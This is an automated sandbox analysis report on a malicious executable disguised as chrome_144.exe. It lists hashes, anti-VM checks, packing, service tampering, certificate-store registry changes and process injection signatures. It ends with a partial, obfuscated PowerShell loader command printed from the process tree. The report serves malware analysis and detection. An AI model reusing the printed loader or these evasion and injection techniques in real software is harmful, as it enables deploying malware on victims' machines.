Analysis
- max time kernel
150s - max time network
151s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
26/02/2026, 16:03
Behavioral task
behavioral1
Sample
chrome_144.exe
Resource
win10v2004-20260130-en
29 signatures
150 seconds
Behavioral task
behavioral2
Sample
chrome_144.exe
Resource
win11-20260130-en
22 signatures
150 seconds
General
- Target chrome_144.exe
- Size 8.3MB
- Sample260226-thf8cag17c
- SHA256 3d3a49ebbfeb9467d72b94448c8709d4eb616ec9bab5647122f0f98aa983f67f
- MD5 6b20fd11a6ef679db3272652e1a4a9b3
- SHA1 e326314c2f59f821dd08d740f068472abd3e5b36
- SHA512 969ed8f2620f12a5104501a96a530a77262282a6dfb9ed2767aa6f8c30d52d23f6ae41cc46bda79fd771e10014a0444b025adb9df3c1435cc1ac4c7dc817dfce
- SSDEEP 196608:shhwWuHTAYhnVDMKmjnmxMTvjU9kpAt5sh3Dc:mkAwMK4dU9wAtqD
- TLSH T1DC9633D8589724F6FAC9DFFA45DA8E2EE4277B03C5093209610FADBB87910CB7070665
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
description pid Process procid_target PID 1656 created 640 1656 powershell.EXE 5 PID 2432 created 640 2432 powershell.EXE 5 - Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ chrome_144.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ updater.exe -
pid Process 1656 powershell.EXE 2432 powershell.EXE 2160 powershell.exe 3220 powershell.exe - Drops file in Drivers directory 2 IoCs
description ioc Process File created C:\Windows\system32\drivers\etc\hosts chrome_144.exe File created C:\Windows\system32\drivers\etc\hosts updater.exe - Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion updater.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion chrome_144.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion chrome_144.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion updater.exe - Creates new service(s) 2 TTPs
- Executes dropped EXE 1 IoCs
pid Process 2096 updater.exe - Stops running service(s) 4 TTPs
-
resource yara_rule behavioral2/memory/2016-1-0x00007FF62B900000-0x00007FF62C858000-memory.dmp themida behavioral2/memory/2016-0-0x00007FF62B900000-0x00007FF62C858000-memory.dmp themida behavioral2/memory/2016-2-0x00007FF62B900000-0x00007FF62C858000-memory.dmp themida behavioral2/memory/2016-3-0x00007FF62B900000-0x00007FF62C858000-memory.dmp themida behavioral2/memory/2016-4-0x00007FF62B900000-0x00007FF62C858000-memory.dmp themida behavioral2/memory/2016-49-0x00007FF62B900000-0x00007FF62C858000-memory.dmp themida behavioral2/files/0x001900000002b4ba-50.dat themida behavioral2/memory/2096-52-0x00007FF7CEF30000-0x00007FF7CFE88000-memory.dmp themida behavioral2/memory/2096-59-0x00007FF7CEF30000-0x00007FF7CFE88000-memory.dmp themida behavioral2/memory/2096-60-0x00007FF7CEF30000-0x00007FF7CFE88000-memory.dmp themida behavioral2/memory/2096-61-0x00007FF7CEF30000-0x00007FF7CFE88000-memory.dmp themida behavioral2/memory/2096-906-0x00007FF7CEF30000-0x00007FF7CFE88000-memory.dmp themida - Checks whether UAC is enabled 1 TTPs 2 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA updater.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA chrome_144.exe - Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 1588 powercfg.exe 3844 powercfg.exe 1992 powercfg.exe 1740 powercfg.exe 4504 powercfg.exe 1100 powercfg.exe 2084 powercfg.exe 1400 powercfg.exe - Drops file in System32 directory 8 IoCs
description ioc Process File opened for modification C:\Windows\system32\MRT.exe updater.exe File opened for modification C:\Windows\System32\Tasks\dialersvc64 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\MRT.exe chrome_144.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe - Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 2016 chrome_144.exe 2096 updater.exe - Suspicious use of SetThreadContext 6 IoCs
description pid Process procid_target PID 2016 set thread context of 3304 2016 chrome_144.exe 102 PID 1656 set thread context of 2252 1656 powershell.EXE 115 PID 2096 set thread context of 4164 2096 updater.exe 136 PID 2096 set thread context of 4936 2096 updater.exe 139 PID 2096 set thread context of 2392 2096 updater.exe 140 PID 2432 set thread context of 3304 2432 powershell.EXE 144 - Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2412 sc.exe 3560 sc.exe 2356 sc.exe 4620 sc.exe 1300 sc.exe 2488 sc.exe 3212 sc.exe 1764 sc.exe 3900 sc.exe 3032 sc.exe 1936 sc.exe 4956 sc.exe 1052 sc.exe 2040 sc.exe - Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2016 chrome_144.exe 2160 powershell.exe 2160 powershell.exe 2016 chrome_144.exe 2016 chrome_144.exe 2016 chrome_144.exe 2016 chrome_144.exe 2016 chrome_144.exe 2016 chrome_144.exe 2016 chrome_144.exe 2016 chrome_144.exe 2016 chrome_144.exe 2016 chrome_144.exe 2016 chrome_144.exe 2016 chrome_144.exe 2016 chrome_144.exe 2016 chrome_144.exe 2016 chrome_144.exe 1656 powershell.EXE 1656 powershell.EXE 2096 updater.exe 1656 powershell.EXE 2252 dllhost.exe 2252 dllhost.exe 2252 dllhost.exe 2252 dllhost.exe 3220 powershell.exe 2252 dllhost.exe 2252 dllhost.exe 3220 powershell.exe 2252 dllhost.exe 2252 dllhost.exe 2252 dllhost.exe 2252 dllhost.exe 2252 dllhost.exe 2252 dllhost.exe 2252 dllhost.exe 2252 dllhost.exe 3220 powershell.exe 2252 dllhost.exe 2252 dllhost.exe 2252 dllhost.exe 2252 dllhost.exe 2252 dllhost.exe 2252 dllhost.exe 2252 dllhost.exe 2252 dllhost.exe 2252 dllhost.exe 2252 dllhost.exe 3220 powershell.exe 2252 dllhost.exe 2252 dllhost.exe 2252 dllhost.exe 2252 dllhost.exe 2252 dllhost.exe 2252 dllhost.exe 2252 dllhost.exe 2252 dllhost.exe 3220 powershell.exe 2252 dllhost.exe 2252 dllhost.exe 2096 updater.exe 2096 updater.exe 2252 dllhost.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3092 Explorer.EXE - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2160 powershell.exe Token: SeShutdownPrivilege 1100 powercfg.exe Token: SeCreatePagefilePrivilege 1100 powercfg.exe Token: SeShutdownPrivilege 1588 powercfg.exe Token: SeCreatePagefilePrivilege 1588 powercfg.exe Token: SeShutdownPrivilege 1400 powercfg.exe Token: SeCreatePagefilePrivilege 1400 powercfg.exe Token: SeShutdownPrivilege 2084 powercfg.exe Token: SeCreatePagefilePrivilege 2084 powercfg.exe Token: SeDebugPrivilege 1656 powershell.EXE Token: SeDebugPrivilege 1656 powershell.EXE Token: SeDebugPrivilege 2252 dllhost.exe Token: SeDebugPrivilege 3220 powershell.exe Token: SeShutdownPrivilege 3092 Explorer.EXE Token: SeCreatePagefilePrivilege 3092 Explorer.EXE Token: SeShutdownPrivilege 3092 Explorer.EXE Token: SeCreatePagefilePrivilege 3092 Explorer.EXE Token: SeShutdownPrivilege 1992 powercfg.exe Token: SeCreatePagefilePrivilege 1992 powercfg.exe Token: SeShutdownPrivilege 1740 powercfg.exe Token: SeCreatePagefilePrivilege 1740 powercfg.exe Token: SeShutdownPrivilege 4504 powercfg.exe Token: SeCreatePagefilePrivilege 4504 powercfg.exe Token: SeShutdownPrivilege 3844 powercfg.exe Token: SeCreatePagefilePrivilege 3844 powercfg.exe Token: SeLockMemoryPrivilege 2392 dialer.exe Token: SeDebugPrivilege 2432 powershell.EXE Token: SeAssignPrimaryTokenPrivilege 2648 svchost.exe Token: SeIncreaseQuotaPrivilege 2648 svchost.exe Token: SeSecurityPrivilege 2648 svchost.exe Token: SeTakeOwnershipPrivilege 2648 svchost.exe Token: SeLoadDriverPrivilege 2648 svchost.exe Token: SeSystemtimePrivilege 2648 svchost.exe Token: SeBackupPrivilege 2648 svchost.exe Token: SeRestorePrivilege 2648 svchost.exe Token: SeShutdownPrivilege 2648 svchost.exe Token: SeSystemEnvironmentPrivilege 2648 svchost.exe Token: SeUndockPrivilege 2648 svchost.exe Token: SeManageVolumePrivilege 2648 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2648 svchost.exe Token: SeIncreaseQuotaPrivilege 2648 svchost.exe Token: SeSecurityPrivilege 2648 svchost.exe Token: SeTakeOwnershipPrivilege 2648 svchost.exe Token: SeLoadDriverPrivilege 2648 svchost.exe Token: SeSystemtimePrivilege 2648 svchost.exe Token: SeBackupPrivilege 2648 svchost.exe Token: SeRestorePrivilege 2648 svchost.exe Token: SeShutdownPrivilege 2648 svchost.exe Token: SeSystemEnvironmentPrivilege 2648 svchost.exe Token: SeUndockPrivilege 2648 svchost.exe Token: SeManageVolumePrivilege 2648 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2648 svchost.exe Token: SeIncreaseQuotaPrivilege 2648 svchost.exe Token: SeSecurityPrivilege 2648 svchost.exe Token: SeTakeOwnershipPrivilege 2648 svchost.exe Token: SeLoadDriverPrivilege 2648 svchost.exe Token: SeSystemtimePrivilege 2648 svchost.exe Token: SeBackupPrivilege 2648 svchost.exe Token: SeRestorePrivilege 2648 svchost.exe Token: SeShutdownPrivilege 2648 svchost.exe Token: SeSystemEnvironmentPrivilege 2648 svchost.exe Token: SeUndockPrivilege 2648 svchost.exe Token: SeManageVolumePrivilege 2648 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2648 svchost.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 700 wrote to memory of 1772 700 cmd.exe 87 PID 2016 wrote to memory of 3304 2016 chrome_144.exe 102 PID 2016 wrote to memory of 3304 2016 chrome_144.exe 102 PID 2016 wrote to memory of 3304 2016 chrome_144.exe 102 PID 2016 wrote to memory of 3304 2016 chrome_144.exe 102 PID 2016 wrote to memory of 3304 2016 chrome_144.exe 102 PID 1656 wrote to memory of 2252 1656 powershell.EXE 115 PID 1656 wrote to memory of 2252 1656 powershell.EXE 115 PID 1656 wrote to memory of 2252 1656 powershell.EXE 115 PID 1656 wrote to memory of 2252 1656 powershell.EXE 115 PID 1656 wrote to memory of 2252 1656 powershell.EXE 115 PID 2252 wrote to memory of 640 2252 dllhost.exe 5 PID 2252 wrote to memory of 704 2252 dllhost.exe 7 PID 2252 wrote to memory of 904 2252 dllhost.exe 11 PID 2252 wrote to memory of 396 2252 dllhost.exe 13 PID 2252 wrote to memory of 712 2252 dllhost.exe 14 PID 2252 wrote to memory of 684 2252 dllhost.exe 15 PID 2252 wrote to memory of 900 2252 dllhost.exe 16 PID 2252 wrote to memory of 1040 2252 dllhost.exe 17 PID 2252 wrote to memory of 1148 2252 dllhost.exe 18 PID 2252 wrote to memory of 1216 2252 dllhost.exe 20 PID 2252 wrote to memory of 1228 2252 dllhost.exe 21 PID 2252 wrote to memory of 1252 2252 dllhost.exe 22 PID 2252 wrote to memory of 1332 2252 dllhost.exe 23 PID 2252 wrote to memory of 1504 2252 dllhost.exe 24 PID 2252 wrote to memory of 1540 2252 dllhost.exe 25 PID 2252 wrote to memory of 1660 2252 dllhost.exe 27 PID 2252 wrote to memory of 1676 2252 dllhost.exe 28 PID 2252 wrote to memory of 1688 2252 dllhost.exe 29 PID 2252 wrote to memory of 1836 2252 dllhost.exe 30 PID 2252 wrote to memory of 1880 2252 dllhost.exe 31 PID 2252 wrote to memory of 1892 2252 dllhost.exe 32 PID 2252 wrote to memory of 1972 2252 dllhost.exe 33 PID 2252 wrote to memory of 2008 2252 dllhost.exe 34 PID 2252 wrote to memory of 616 2252 dllhost.exe 35 PID 2252 wrote to memory of 1240 2252 dllhost.exe 36 PID 2252 wrote to memory of 2072 2252 dllhost.exe 37 PID 2252 wrote to memory of 2100 2252 dllhost.exe 38 PID 2252 wrote to memory of 2132 2252 dllhost.exe 39 PID 2252 wrote to memory of 2280 2252 dllhost.exe 41 PID 2252 wrote to memory of 2496 2252 dllhost.exe 42 PID 2252 wrote to memory of 2504 2252 dllhost.exe 43 PID 2252 wrote to memory of 2540 2252 dllhost.exe 44 PID 2252 wrote to memory of 2576 2252 dllhost.exe 45 PID 2252 wrote to memory of 2636 2252 dllhost.exe 46 PID 2252 wrote to memory of 2648 2252 dllhost.exe 47 PID 2252 wrote to memory of 2660 2252 dllhost.exe 48 PID 2252 wrote to memory of 2780 2252 dllhost.exe 49 PID 2252 wrote to memory of 2256 2252 dllhost.exe 51 PID 2252 wrote to memory of 2440 2252 dllhost.exe 52 PID 2252 wrote to memory of 3092 2252 dllhost.exe 53 PID 2252 wrote to memory of 3224 2252 dllhost.exe 54 PID 2252 wrote to memory of 3260 2252 dllhost.exe 55 PID 2252 wrote to memory of 3572 2252 dllhost.exe 58 PID 2252 wrote to memory of 3648 2252 dllhost.exe 59 PID 2252 wrote to memory of 3736 2252 dllhost.exe 60 PID 2252 wrote to memory of 3756 2252 dllhost.exe 61 PID 2252 wrote to memory of 3252 2252 dllhost.exe 62 PID 2252 wrote to memory of 4112 2252 dllhost.exe 63 PID 2252 wrote to memory of 2588 2252 dllhost.exe 67 PID 2252 wrote to memory of 3920 2252 dllhost.exe 68 PID 2252 wrote to memory of 2428 2252 dllhost.exe 70 PID 2252 wrote to memory of 4940 2252 dllhost.exe 71 PID 2252 wrote to memory of 4404 2252 dllhost.exe 72 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:640
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:900
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{d88a8c22-e15b-45af-99c1-6ea20a4b5a26}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2252
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{b7d8dd92-988a-4f1a-9839-bb313ebda8df}2⤵PID:3304
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:704
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C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-d06372fc-ea0e-4adb-8e11-f59a748fa978 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-f80adae2-1583-4b55-b6ba-ff010551590d -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-3752a484-aa6c-4f8d-84f2-c91877867460 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-27c37213-fd75-4a6c-b905-71f86ba942cd -LifetimeId:db7bf25e-e65d-49c2-b7c9-e8737e53a5b8 -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵PID:904
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:396
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:712
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:684
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:1040
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1148
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵PID:1216
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1228 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:cXhRIgLdmOzi{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$MByFebIZEhGKQH,[Parameter(Position=1)][Type]$FfhpGASsRR)$sCNvqxOUkzN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'ef'+'l'+'e'+'c'+''+'t'+''+[Char](101)+'d'+[Char](68)+'e'+'l'+'e'+[Char](103)+''+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+'em'+[Char](111)+'r'+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+''+'y'+''+'D'+''+'e'+''+[Char](108)+'eg'+[Char](97)+''+'t'+''+[Char](101)+''+'T'+''+'y'+''+[Char](112)+''+[Char](101)+'',''+'C'+''+[Char](108)+''+[Char](97)+''+'s'+''+'s'+','+[Char](80)+''+'u'+''+'b'+'li'+'c'+''+[Char](44)+'S'+'e'+'a'+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+'A'+'n'+[Char](115)+'i'+'C'+''+'l'+''+'a'+''+'s'+''+[Char](115)+''+','+''+'A'+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$sCNvqxOUkzN.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+'p'+'e'+''+'c'+''+'i'+''+[Char](97)+''+'l'+'N'+[Char](97)+'m'+[Char](101)+''+[Char](44)+''+'H'+'i'+'d'+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$MByFebIZEhGKQH).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+'ge'+[Char](100)+'');$sCNvqxOUkzN.DefineMethod(''+'I'+'n'+[Char](118)+''+'o'+''+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+'li'+[Char](99)+''+[Char](44)+''+'H'+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+','+'Ne'+[Char](119)+''+[Char](83)+''+[Char](108)+''+'o'+'t'+[Char](44)+''+'V'+''+'i'+''+[Char](114)+'t'+[Char](117)+'a'+'l'+'',$FfhpGASsRR,$MByFebIZEhGKQH).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+'M'+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $sCNvqxOUkzN.CreateType();}$cOORVSMOYvhas=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 